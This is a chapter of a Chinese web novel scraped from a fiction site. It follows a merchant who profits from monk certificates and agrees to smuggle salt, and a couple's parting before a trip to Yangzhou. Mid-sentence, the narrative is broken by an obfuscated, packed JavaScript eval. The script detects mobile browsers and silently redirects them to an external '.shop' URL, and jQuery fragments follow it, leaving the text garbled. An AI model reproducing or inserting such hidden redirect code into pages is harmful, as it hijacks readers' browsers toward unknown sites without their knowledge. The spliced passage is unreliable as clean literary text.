文趣网 > 其他小说 > 成为真千金后 > 42. 离开
    一个月前。

    尤循常常在外边喝花酒,一方面是生意场上喝酒无法避免,一方面是纯属他个人喜好。

    他坚信这些酒肉朋友们能在关键时刻帮他一把,也能带来不为人知的消息,更能引荐他见到贵人。

    长案摆满了吃食和美酒,几人聚在一起举杯对碰,酒水因剧烈的撞击而从杯中散出来落在地板上,连桌上都是一块一块的酒渍。

    整个厢房里充斥着刺鼻的酒味。

    尤循目光直勾勾盯着前方,听好友道:“尤兄,近日度牒价格大跌,你不打算趁此购入?”

    度牒简单来说就是祀部颁给出家人的文牒,官府会向民间售卖此物,当然购入度牒者也可以售卖给他人。

    受各类因素的影响,钱币会贬值,可度牒的价值一直以来都是趋于稳定的。

    所以许多商人都会趁着度牒价格较低的时候购入,过段时间再卖出去就能大赚一笔了,还能挽回一些损失。

    “现在价格还太高了。”尤循摆摆手,“我记得最低的一回一道只要九十贯,现在要一百多一贯,再等等罢。”

    好友若有所思道:“也好,等等也无妨,要是真能降到这么低的价格,那可是大赚了。”

    尤循说的不错,几天后度牒一度降至了九十贯一道。

    好友说:“尤兄我觉得还能再降,要不再等等?”

    尤循觉得再降的机会渺茫,九十贯就是史上最低的价格了,虽说不是没可能跌破,但是他也不敢去赌,万一等来的结果是疯涨呢?那不是亏大了。

    他打算购入六十道,一共五千四百贯,换算成白银也就是五千四百两,可他没有那么多钱。

    过了这个村就没这个店了,他不想错过这个赚钱的绝佳时机。

    今天下午,尤循约了一个客人吃饭谈生意,他忽然意识到或许可以借这笔生意套些现银。

    找到这个天衣无缝得法子,尤循立即行动起来从谢家账簿上多要走了五千四百两,去买了六十道度牒。

    尤循看着一箱子的度牒思来想去还是觉得放西院更能安心。

    小门的门房看见尤寻抬这么一大箱子东西,道:“您怎么一个抬啊,奴喊几个人过来吧。”

    尤循拒绝道:“不用了,里面是我收集来的藏书,别不小心碰坏了,我自己搬就好。”

    这尤表叔呢也算是主子,他都这么说了门房也不好多事,只是门房疑惑地挠挠脑袋,他什么时候有这闲情雅致了?

    许霞盯着箱子里的度牒看了好半晌,不可思议道:“你花了五千多两就为了买这些东西?”

    “你脑子糊涂了吧。”

    依她看,尤循定是被上次那个江湖骗子给的符纸祛晦气祛得神志不清了。

    “你懂什么?”尤循十分自信道,“你且等一两个月我定能靠这些发一笔财。”

    许霞狐疑地看了他一眼,不再多说什么。

    下个月,谢濯就要运一批货亲自去趟杨州了,尤循的酒肉朋友们这个时候给他引见了一个很重要的人物,是从州府来的,据说家中是皇商。

    尤循一听觉得还真是老天不负有心人,要是能和皇商搭上关系,那何止谢家是囊中之物。

    他立即就见了他。

    来人穿着翠青色锦袍,与在座的普通商人气质不同,多了几分矜贵之气。

    尤循低头哈腰道:“敢问郎君贵姓?”

    男人过了会才告诉他:“免贵姓任。”

    几人招呼着任郎君喝酒谈笑,喝得尽兴了尤循开口试探道:“任郎君,我听说你家中是给官家做生意的,不知……”

    任郎君心领神会,抿了口酒道:“你有兴趣?”

    尤循哂笑道:“我有兴趣也没用啊,没路子。”

    任郎君道:“我眼下有一批盐要运往杨州,有一部分滞留在吴江了,倒是可以考虑给你运到杨州,事成后利润分你三成。”

    “私盐?”尤循骇然。

    “不全是。”任郎君道,“你放心好了,关卡都打点好了,不会出事的。”

    尤循心中还是有些怕,他确实打了皇商的主意,但是没想运私盐的。

    毕竟皇商又不止是运盐,还有茶叶、酒、贡珠等,在他的观念里贩卖私盐可是斩首的重罪,比茶酒什么的严重多了。

    可这也是个机会,机会往往蕴藏着风险,尤循咬牙应下。

    许霞听他说这个事,骇然道:“你疯了?贩卖私盐,你不想活,我和真儿还想活呢。”

    “什么活不活的。”尤循道,“那任郎君都说了关卡打点好了,只要我运到扬州就好。再说,那些个私盐你以为是任家的么,大部分都是官员的,没有官员在背后撑腰任家也不敢。”

    许霞疑心道:“仅仅只是运到扬州,就能分你三成利润,你那些朋友别是在框骗你吧。”

    尤循听这话不高兴了,青着个脸出去了。

    一个月后,度牒价格由九十贯一道涨至一百二十贯一道,尤循知道不会再涨了,于是立即全部售卖了出去。

    卖了七千二百两,刨除本钱,一共赚了一千八百两。

    许霞大吃一惊,这回还真让他算准赚着了,之前大概是听多了他假大空的话,又加上他这幅德行导致不太信任他。

    尤循一高兴买了几匹上好的料子给妻女做衣裳,还买了金首饰,可也仅限于此了,接下来他又是彻夜不归家。

    他是什么德行,出去干什么,许霞心里门清,但是始终没有挑明。

    晚上的时候,许霞来到女儿的闺房中。

    尤淑真坐在梳妆台前,乌发散在肩后,青梅正在给她梳头发。

    青梅看见许霞来,向她福身行礼,与此同时尤淑真也转过身来。

    许霞摆摆手让青梅退出去。

    青梅退出去后,许霞端详女儿的面庞,她十月怀胎生下来的孩子,相貌有八分像她。

    许霞对女儿一直心存愧疚,她也悔恨当初自己瞎了眼怎么就嫁了尤循。

    在女儿的世界里,父亲始终是缺席的,没有感受到多少父爱。

    许霞很早就意识到这点,于是尽自己能力无限溺爱女儿,这也导致尤淑真养成了娇纵跋扈的性子。

    “娘?”尤淑真唤道,“您怎么了?”

    许霞摇摇头,莞尔:“没事。”

    说罢,她拿出白日里尤循给的金簪放在妆匣里,尤淑真见了道:“这不是爹爹给您的吗?您怎么放我这啊。”

    许霞道:“不是放你这,是给你。我年纪大了,不喜欢这些花里胡哨的东西,也没有打扮的心情。”

    尤淑真察觉气氛格外凝重,她自己心也沉甸甸的。

    母女俩沉默了半晌,许霞语重深长道:“真儿,你以后择郎婿一定要选一个顾家体贴的,这样你日子也好过。”

    尤淑真抿唇道:“嗯。”

    其实在她看来,男人都是一样的,包括她有那么一点喜欢的表哥。

    他表面上维护周娘子,也只是为了维系主母的体面,至于情不情深的真不一定。

    既然无论如何都要嫁,那不如就攀个高门娘子当当。

    那厢,潇园。

    五福带着

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17955175|208752||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一帮人在潇园收拾行李,宜歌从浮园回来的时候被这阵仗吓了一跳。

    “这是……”

    五福道:“郎君明日就要启程去扬州。”他又压低了声音道,“少夫人,郎君伤还没好呢,您劝劝郎君吧,奴劝得喉咙干了都没有用。”

    宜歌心中无奈,他连他要外出都不告诉自己,还有什么好劝的,劝了也没用,淡淡道:“嗯,我试一下。”

    她走入房间,看见他坐在榻边悠闲喝茶,“你明天要外出?”

    很明显的明知故问了,谢濯回道:“嗯。”

    宜歌:“要去哪?”

    “扬州。”

    “哦。”

    好半晌,宜歌才道:“很着急么,非得明天就去?你的伤还没好吧,要是途中撕裂了怎么好。”

    她这是在关心自己么?谢濯抬眸看了她一眼,语气听着像是在关心,但她的神情却没有忧色。

    谢濯挪开视线,淡然道:“挺着急的,明天就得去,不然赶不上。”

    “既然如此,那我也不说什么了。”宜歌补充道,“只是你路上当心点,别让五福操心你。他可是和我说了,一直劝你晚点动身去扬州。”

    谢濯剑眉拧起。

    宜歌看它紧锁着眉不知道他在想些什么,兀自上榻。

    在外边的五福一直期盼地往卧房方向看,耳朵竖着就等谢濯的命令,奈何没有等到。

    他心下叹息,看来少夫人也劝说失败了。

    这时,有人拿把青色的油纸伞过来,问五福:“这个要带吗?这把伞对郎君似乎很重要。”

    五福拿不定主意,就在屋外道:“郎君,那把青色的伞您要带过去吗?”

    室内,灯芯爆破,烛影肆无忌惮地摇曳,停了的雪又开始下,在浓烈的黑夜中狂欢。

    宜歌听见声音起身,看向小榻上的谢濯。

    谢濯不知为何对上她的眼神心猛然一颤,居然还有一丝心虚。

    他澹然道:“不用了。”

    屋外的五福得了令将伞放了回去。

    宜歌:“你怎么还留着这把伞?”

    谢濯掀开眼皮看她,满不在乎道:“一把伞而已,随意放在某个角落就忘记了,谁知他们会拿出来。”

    宜歌:“……”

    翌日清早,一众人来到码头。

    谢濯和尤循是各乘一艘船的,此时家仆在搬着一坛坛往尤循的船上去,谢濯知晓他是个酒蒙子,只是看了一眼装酒的箱子没有多说什么。

    船起航前,许霞拉扯着尤循,叮嘱他:“你可得小心些,我和真儿的命可系在你身上了。”

    她没办法改变他的想法,只能如此了。

    尤循满不在乎,显然是极为信任那个任郎君,“行了行了,行商这么多年这道理我明白,你别啰嗦了。”

    他甩开许霞的手上了船。

    其实冬季船吃水浅,这个季节不是运盐的最佳时期,一般是陆运的。

    还好,谢濯自然也知道这点,另外租用了几艘船,货物分成几份放,那批盐并不多,就直接放在尤循乘坐的船上。

    这次一起去了还有邬老爷,俞青红嘱咐了丈夫好些话,才放开手让他上船。

    数艘船扬帆起航,宜歌站在岸边望着谢濯乘坐的那艘船,直到它消失在茫茫飞雪中。

    谢濯从船舱出来,站在船栏前,看向远方那点清冷的身影。

    她穿得通体雪白,撑着把碧落色的伞。

    直到那星点般的碧落消失在视野中,再也看不见吴江比鳞次节的房屋,谢濯才转身回了舱内。